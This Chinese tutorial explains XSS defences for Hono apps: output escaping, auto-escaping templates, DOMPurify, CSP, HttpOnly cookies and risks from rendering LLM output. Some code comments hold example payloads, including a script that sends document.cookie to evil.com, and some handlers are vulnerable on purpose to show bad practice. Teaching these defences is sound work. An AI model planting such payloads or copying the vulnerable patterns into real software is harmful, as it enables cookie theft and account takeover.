19.04-XSS防护

要点

  • XSS(Cross-Site Scripting):攻击者把恶意 JavaScript 注入到其他用户看到的页面里执行
  • 三类 XSS:存储型(恶意内容存进数据库)、反射型(恶意内容在 URL 参数里回显)、DOM 型(前端 JS 把不可信数据写到 DOM)
  • 防御核心:输出编码——把 <>" 等特殊字符转义成 HTML 实体,浏览器就不会当成 HTML 解析
  • React/Vue 等现代框架默认做了输出编码,大部分 XSS 场景已经被框架挡住
  • 服务端渲染(SSR)时直接拼接 HTML 字符串是最大的风险点——必须用 escapeHtml 或模板引擎的自动转义
  • Hono 的 hono/html 提供了自动转义的模板函数;CSP(Content-Security-Policy)响应头作为额外防线

1. XSS 攻击原理

XSS 的本质:攻击者把恶意脚本注入到其他用户浏览器的页面上下文中执行

一旦恶意脚本在受害者页面里执行,它能做跟页面一样的任何事:

  • 读取页面内容(用户隐私、敏感数据)
  • 以用户身份发起请求(利用 Cookie 做 CSRF)
  • 偷 Cookie(如果 Cookie 没有设 HttpOnly)
  • 篡改页面内容(钓鱼)
  • 记录键盘输入

1.1 存储型 XSS

恶意内容被存进数据库,所有看到这个内容的用户都被攻击:

// 评论功能——存储型 XSS 的经典场景
app.post('/api/comments', async (c) => {
  const { content } = await c.req.json()
  await c.env.DB.prepare(
    'INSERT INTO comments (content) VALUES (?)'
  ).bind(content).run()
  return c.json({ ok: true })
})
 
// 其他用户看到评论时,如果直接渲染 HTML:
// content = '<script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>'
// 受害者打开页面,script 执行,Cookie 被偷

1.2 反射型 XSS

恶意内容在 URL 参数里,服务端把参数值直接放回页面:

// 搜索结果页——反射型 XSS
app.get('/search', (c) => {
  const q = c.req.query('q')
  // 危险:直接拼接到 HTML 里
  return c.html(`<h1>搜索结果:${q}</h1>`)
  // 如果 q = <script>steal()</script>,脚本执行
})

1.3 DOM 型 XSS

恶意内容不经过服务端,在前端 JavaScript 里直接写入 DOM:

// 前端代码——DOM 型 XSS
const hash = location.hash.slice(1)
document.getElementById('content').innerHTML = decodeURIComponent(hash)
// 如果 hash = #<img src=x onerror=steal()>,脚本执行

2. 防御核心:输出编码

XSS 的根源是:不可信数据被当成 HTML 解析了

解决方案:在把不可信数据插入 HTML 之前,把特殊字符转义成 HTML 实体:

字符HTML 实体
<&lt;
>&gt;
"&quot;
'&#x27;
&&amp;

转义后,&lt;script&gt; 变成 &lt;script&gt;,浏览器显示为文本而不是执行脚本。

2.1 escapeHtml 函数

// src/utils/escape.ts
export function escapeHtml(str: string): string {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
}

任何服务端拼接 HTML 的场景,都必须对用户输入调用 escapeHtml

// 正确:输出编码
app.get('/search', (c) => {
  const q = c.req.query('q') || ''
  const safeQ = escapeHtml(q)
  return c.html(`<h1>搜索结果:${safeQ}</h1>`)
  // <script> → &lt;script&gt;,浏览器显示为文本
})

3. Hono 的 HTML 处理

3.1 c.html() 不自动转义

Hono 的 c.html() 方法接受 HTML 字符串,不会自动转义

// 危险:c.html() 不转义
app.get('/search', (c) => {
  const q = c.req.query('q')
  return c.html(`<h1>搜索:${q}</h1>`)  // ← XSS 漏洞
})

你必须手动转义:

import { escapeHtml } from 'hono/html'
 
app.get('/search', (c) => {
  const q = c.req.query('q') || ''
  return c.html(`<h1>搜索:${escapeHtml(q)}</h1>`)
})

3.2 hono/htmlhtml 模板函数

hono/html 提供了带自动转义的模板函数:

import { html } from 'hono/html'
 
app.get('/search', (c) => {
  const q = c.req.query('q') || ''
 
  // html 模板函数自动转义变量
  return c.html(html`<h1>搜索:${q}</h1>`)
  // ↑ q 里的特殊字符会被自动转义
})

$&#123;q&#125; 里的 &lt;script&gt; 会自动变成 &lt;script&gt;

如果需要插入不转义的原始 HTML(比如你已经处理过的安全内容),用 raw

import { html, raw } from 'hono/html'
 
const safeContent = renderMarkdown(userInput)  // 你自己处理过的安全内容
 
return c.html(html`<div>${raw(safeContent)}</div>`)
// ↑ raw() 告诉模板函数「这个内容已经安全了,不要转义」

4. JSON API 的 XSS

如果你的 API 只返回 JSON,不返回 HTML,XSS 风险低很多——浏览器不会把 JSON 当 HTML 执行。

但仍有几个需要注意的点:

4.1 Content-Type 必须正确

// 错误:JSON 内容但 Content-Type 是 text/html
c.header('Content-Type', 'text/html')
return c.body(JSON.stringify({ name: userInput }))
// 如果 userInput 包含 <script>,浏览器会当成 HTML 执行
 
// 正确:c.json() 自动设置 Content-Type: application/json
return c.json({ name: userInput })

c.json() 会自动设置 Content-Type: application/json,浏览器不会把 JSON 当 HTML 解析。

4.2 JSON 回调的 XSS

JSONP 模式(?callback=xxx)已经被淘汰,但如果你的项目里有类似机制:

// 危险:JSONP 回调函数名没有转义
const callback = c.req.query('callback')
return c.body(`${callback}(${JSON.stringify(data)})`, 200, {
  'Content-Type': 'text/javascript',  // ← 浏览器会执行
})
// 如果 callback = alert(1)//,返回 alert(1)//({...}),脚本执行

现代 API 不应该用 JSONP。用 CORS 替代跨域需求。

4.3 富文本内容

AI 应用经常需要渲染用户输入的 Markdown 或富文本。Markdown 渲染器通常支持内联 HTML——如果不过滤,用户可以嵌入 &lt;script&gt;

// 用户输入的 Markdown
const markdown = `
# 我的文章
 
<script>steal()</script>
 
正常内容
`
 
// 直接渲染成 HTML——XSS 漏洞
const htmlContent = renderMarkdown(markdown)

解决方案:

  1. 用安全的 Markdown 渲染器:配置渲染器禁用 HTML 标签
  2. DOMPurify 过滤:渲染后用 DOMPurify 过滤一遍
// 使用 marked + DOMPurify
import { marked } from 'marked'
import DOMPurify from 'dompurify'
 
marked.setOptions({
  // 禁用内联 HTML
  sanitize: false,  // marked 自身的 sanitize 已废弃
})
 
function renderSafeMarkdown(input: string): string {
  // 1. Markdown 渲染成 HTML
  const html = marked.parse(input)
  // 2. DOMPurify 过滤(去掉 script、onerror 等危险内容)
  return DOMPurify.sanitize(html)
}

5. CSP:Content-Security-Policy

CSP 是 XSS 防御的最后一道防线——即使攻击者成功注入了 &lt;script&gt;,CSP 也能阻止它执行。

CSP 通过 HTTP 响应头告诉浏览器「只允许执行这些来源的脚本」:

// 设置 CSP
app.use('*', async (c, next) => {
  c.header('Content-Security-Policy',
    "default-src 'self'; " +
    "script-src 'self'; " +
    "style-src 'self' 'unsafe-inline'; " +
    "img-src 'self' data: https:; " +
    "connect-src 'self' https://api.example.com"
  )
  await next()
})

主要指令:

指令说明
default-src 'self'默认只允许同源资源
script-src 'self'脚本只允许同源(禁止内联脚本和 eval)
style-src 'self' 'unsafe-inline'样式允许同源 + 内联(CSS-in-JS 需要)
img-src 'self' data:图片允许同源 + data URL
connect-src 'self' https://...限制 AJAX/WebSocket 的目标地址

5.1 CSP 与内联脚本

script-src 'self' 禁止所有内联 &lt;script&gt;onclick="..." 等内联事件。这对 XSS 防护非常有效——即使攻击者注入了 &lt;script&gt;alert(1)&lt;/script&gt;,浏览器也不会执行。

但如果你用了内联样式或 CSS-in-JS,需要 'unsafe-inline' 或 nonce:

// 使用 nonce 代替 unsafe-inline
const nonce = crypto.randomUUID()
 
c.header('Content-Security-Policy',
  `default-src 'self'; script-src 'self' 'nonce-${nonce}';`
)
 
// HTML 里的内联 script 带上 nonce
return c.html(html`
  <script nonce="${nonce}">
    // 只有带正确 nonce 的内联脚本才能执行
    console.log('safe')
  </script>
`)

攻击者不知道 nonce 值,所以注入的 &lt;script&gt; 不带 nonce,浏览器拒绝执行。

即使 XSS 攻击成功,HttpOnly Cookie 也无法被 JavaScript 读取:

// HttpOnly:JavaScript 无法读取
c.header('Set-Cookie', 'session=xxx; HttpOnly; Secure; SameSite=Lax; Path=/')
// document.cookie 拿不到 session Cookie
 
// 没有 HttpOnly:XSS 可以偷 Cookie
c.header('Set-Cookie', 'session=xxx; Secure; SameSite=Lax; Path=/')
// document.cookie → "session=xxx"  ← 攻击者可以偷到

所有敏感 Cookie 都必须设置 HttpOnly。这是防御 XSS 偷 Cookie 的最后防线。

// 完整的 Cookie 安全配置
c.header('Set-Cookie', [
  'session=xxx; Path=/; HttpOnly; Secure; SameSite=Lax',
  'prefs=yyy; Path=/; SameSite=Lax',  // 非敏感 Cookie 可以不用 HttpOnly
])

各标志的含义:

标志作用
HttpOnlyJavaScript 无法读取(防 XSS 偷 Cookie)
Secure只通过 HTTPS 传输(防中间人抓 Cookie)
SameSite=Lax跨站请求不携带(防 CSRF)
Path=/Cookie 的有效路径
Max-Age / ExpiresCookie 的有效期

7. AI 场景的 XSS 风险

AI 应用有几个特殊的 XSS 风险点:

7.1 LLM 输出渲染

用户把 LLM 的回答渲染到页面上——LLM 的回答可能包含 HTML:

// LLM 返回的回答
const aiResponse = '这是一段回答\n<script>alert(1)</script>'
 
// 直接渲染到页面——XSS
return c.html(html`<div>${raw(aiResponse)}</div>`)

解决方案:LLM 输出也要 escapeHtml 或过 DOMPurify。不要把 LLM 的输出当成「可信内容」——它是根据用户输入生成的,用户输入可以诱导 LLM 输出任意内容。

7.2 对话历史的存储型 XSS

用户 A 发的消息存在数据库里,用户 B(或管理员)看到对话历史时渲染——如果消息包含恶意 HTML:

// 用户 A 的消息
const message = '<img src=x onerror="steal()">'
 
// 管理员看到消息列表时
// 如果直接 innerHTML → XSS

所有用户生成的内容(包括 AI 对话)在渲染时都应该转义。

7.3 Markdown + AI

AI 返回的内容经常是 Markdown 格式。如果你用 Markdown 渲染器渲染 AI 的输出,确保渲染器配置了 HTML 过滤(前面讲过的 DOMPurify 方案)。

8. XSS 防护检查清单

检查项说明
所有用户输入渲染前转义escapeHtml 或模板引擎自动转义
JSON API 用 c.json()自动设置 Content-Type: application/json
富文本用 DOMPurify 过滤Markdown 渲染后、AI 输出渲染前
Cookie 设置 HttpOnly防止 XSS 偷 Cookie
设置 CSP 响应头禁止内联脚本,限制脚本来源
不在 URL 里放敏感信息防止反射型 XSS + 日志泄露
c.html() 不用 $&#123;raw()&#125; 包裹不可信内容确保模板函数自动转义

9. 小结

XSS 的本质是不可信数据被当成 HTML 解析执行。防御核心是输出编码——把 &lt;&gt; 等字符转义成 HTML 实体。

三类 XSS:

  • 存储型:恶意内容存进数据库,所有看到内容的用户被攻击
  • 反射型:恶意内容在 URL 参数里,服务端拼到页面里回显
  • DOM 型:前端 JS 把不可信数据写入 innerHTML

Hono 的 hono/html 模板函数自动转义变量。c.json() 设置正确的 Content-Type。Cookie 必须设 HttpOnly。CSP 响应头禁止内联脚本执行。

AI 场景的 XSS 风险:LLM 输出可能包含 HTML,对话历史可能有恶意消息,Markdown 渲染需要过滤。所有不可信内容渲染前都必须转义或过滤。

下一篇讲 SQL 注入防护——XSS 管的是「输出」,SQL 注入管的是「输入到数据库」。